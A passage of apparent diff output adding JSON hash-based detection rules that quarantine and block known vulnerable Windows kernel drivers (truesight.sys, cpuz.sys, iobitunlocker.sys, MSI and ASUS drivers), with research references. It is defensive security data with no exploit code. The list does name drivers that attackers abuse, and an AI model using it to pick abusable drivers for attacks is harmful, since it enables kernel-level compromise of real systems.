+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "89c0f68c-7fcb-5331-9d68-68e0adced549",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831018Z",
+  "creation_date": "2026-03-23T11:45:30.831020Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b40e38733389d14ff29c73c08be4651f09b111e670cca1574961ff35bbbb93c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "89c541d7-99a3-57cf-b501-544b4244c894",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473719Z",
+  "creation_date": "2026-03-23T11:45:30.473722Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473731Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08b5f31070e370fbbf4f6e9a99c594c6e33846c82a56c773116705eda3109b62",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "89c72da7-41a0-5396-9bb5-954e3ea8aaa5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160239Z",
+  "creation_date": "2026-03-23T11:45:31.160241Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160247Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a80c261e4dc630c0b8d52eff151b6773eb533b9238163b1e84d9b0c2a8f3d386",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "89c7933e-886d-5123-9a1f-358c0ab0de39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979168Z",
+  "creation_date": "2026-03-23T11:45:29.979170Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98a55dc61046f4509d2465cbc373a9391c07125e5f4a242d2f475f14f32e5430",
+  "comment": "Vulnerable Kernel Driver (aka elrawdsk.sys) [https://www.loldrivers.io/drivers/205721b7-b83b-414a-b4b5-8bacb4a37777/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "89c93e0e-0e92-5af5-b8f0-a297a779ee5c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472637Z",
+  "creation_date": "2026-03-23T11:45:31.472641Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472649Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "273d62b62ee2470aed571001f0385341ba2b1bcbe035a8395870c468def80daa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "89f9408f-7386-57ce-af81-d4c1bb0efa43",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479764Z",
+  "creation_date": "2026-03-23T11:45:31.479768Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479778Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c149713a1c40a9cb2cbbd5846eefffa0784a07a80bf56c2138865aaa9fba4d6d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a0a9d9e-505c-54fd-9867-65a9ee49dcac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823016Z",
+  "creation_date": "2026-03-23T11:45:30.823018Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823023Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "096e1641d26aa971dabc7de17c0259d3aa922091e38928ba7847e4ead64b7f41",
+  "comment": "Vulnerable Kernel Driver (aka SysInfoDetectorX64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a0b331e-b806-56e3-aecd-b7dfe55bbf3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498911Z",
+  "creation_date": "2026-03-23T11:45:31.498914Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498922Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de5287a3a9d675859bda7b5c6a9a6877f9065068e7949f0cfcbb353426afcb9e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a128f54-7502-50e9-9dd8-b750f196d90d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483816Z",
+  "creation_date": "2026-03-23T11:45:31.483820Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483830Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26407df9f689b6dfed3be1bf1c617fdc6f75608b0c9cfc8b214db284c3aa6b8f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a26649e-8f69-5d39-b33e-04536a061794",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160136Z",
+  "creation_date": "2026-03-23T11:45:31.160138Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160143Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7933b183cc69a05911e9612d3e3b1f743d3f666c548cacb6d3cf8699a6f0ebb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a2ebcd9-f8ba-5958-ae84-9fbbd2339601",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605825Z",
+  "creation_date": "2026-03-23T11:45:29.605827Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605833Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1e5ca66ead46af21b7efb2229ad2901cc0017824e811990de8e5098696ae36a",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a3e90db-b3b0-5e24-bf49-463a461ea9cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810540Z",
+  "creation_date": "2026-03-23T11:45:31.810542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810547Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d6b6eec472134d99daf1c14a0104e87a5b269f529467abba9a5429228149995",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a504a5f-4195-5ae1-9e3a-beabad199a55",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819036Z",
+  "creation_date": "2026-03-23T11:45:30.819038Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819044Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88188ebb2dd61397d816274645cce6044489675a52d835faf518b2d137e0604c",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a5247bc-836d-5869-86ad-d85ce0c8d123",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614805Z",
+  "creation_date": "2026-03-23T11:45:29.614807Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614812Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a961f5939088238d76757669a9a81905e33f247c9c635b908daac146ae063499",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a548938-e7ea-57f5-a7d3-7f2361fa98ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820490Z",
+  "creation_date": "2026-03-23T11:45:31.820493Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820500Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6bec424bd6775c3ebc57fe1c6fe1d280e3f82d5b104eec2a75771bdfdff99148",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a5ff61e-9eab-56df-8e94-dd96c61ebfed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457306Z",
+  "creation_date": "2026-03-23T11:45:30.457310Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457319Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ee89c1e8738d465d241630ccca4ce218afc02421461e6de91e4dc8133e9501c",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a635413-e89c-58fc-9d02-d1950fb34df0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613101Z",
+  "creation_date": "2026-03-23T11:45:29.613103Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613108Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9a4e40a5d80fedd1037eaed958f9f9efed41eb01ada73d51b5dcd86e27e0cbf",
+  "comment": "ASUS vulnerable UEFI Update Driver (aka AsUpIO64.sys and GVCIDrv64.sys) [https://codeinsecurity.wordpress.com/2016/06/12/asus-uefi-update-driver-physical-memory-readwrite/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a7601fe-2e2b-55ca-a611-56aeb43c5c39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829838Z",
+  "creation_date": "2026-03-23T11:45:31.829841Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829850Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "69963e7c2ac52f1d796e40f9907056f574a93c973371e735e9d8436c7be9c565",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a84ec23-4eaa-56e3-bb1d-dfd46932604c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808358Z",
+  "creation_date": "2026-03-23T11:45:31.808360Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808366Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39eb433dcde3f3852be94f1cf39f125fdffdea0aaada2ff11d8b6004f518f22c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a88477f-20e6-5e32-937f-d16992068a3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.161038Z",
+  "creation_date": "2026-03-23T11:45:31.161041Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.161046Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26f46b7d452c0ec33e6bbfd1a4d8a5cf5cf1192163cd9bdff14fc2fec9168033",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a8caf00-804c-550a-b509-3be504ca5c73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825577Z",
+  "creation_date": "2026-03-23T11:45:30.825579Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825584Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "695b606b4b9ee6b825c57d4c6f869a9c076dc413301ef615f15b11dba5257320",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a8e0035-65ca-5687-a767-93737a9ccae0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828204Z",
+  "creation_date": "2026-03-23T11:45:30.828206Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f882326961c4ec155a5b2b049bb663a75732e77073562bc17d98fab8368e4c1a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a92efbb-6a3b-52b5-af3f-f3bc92866646",
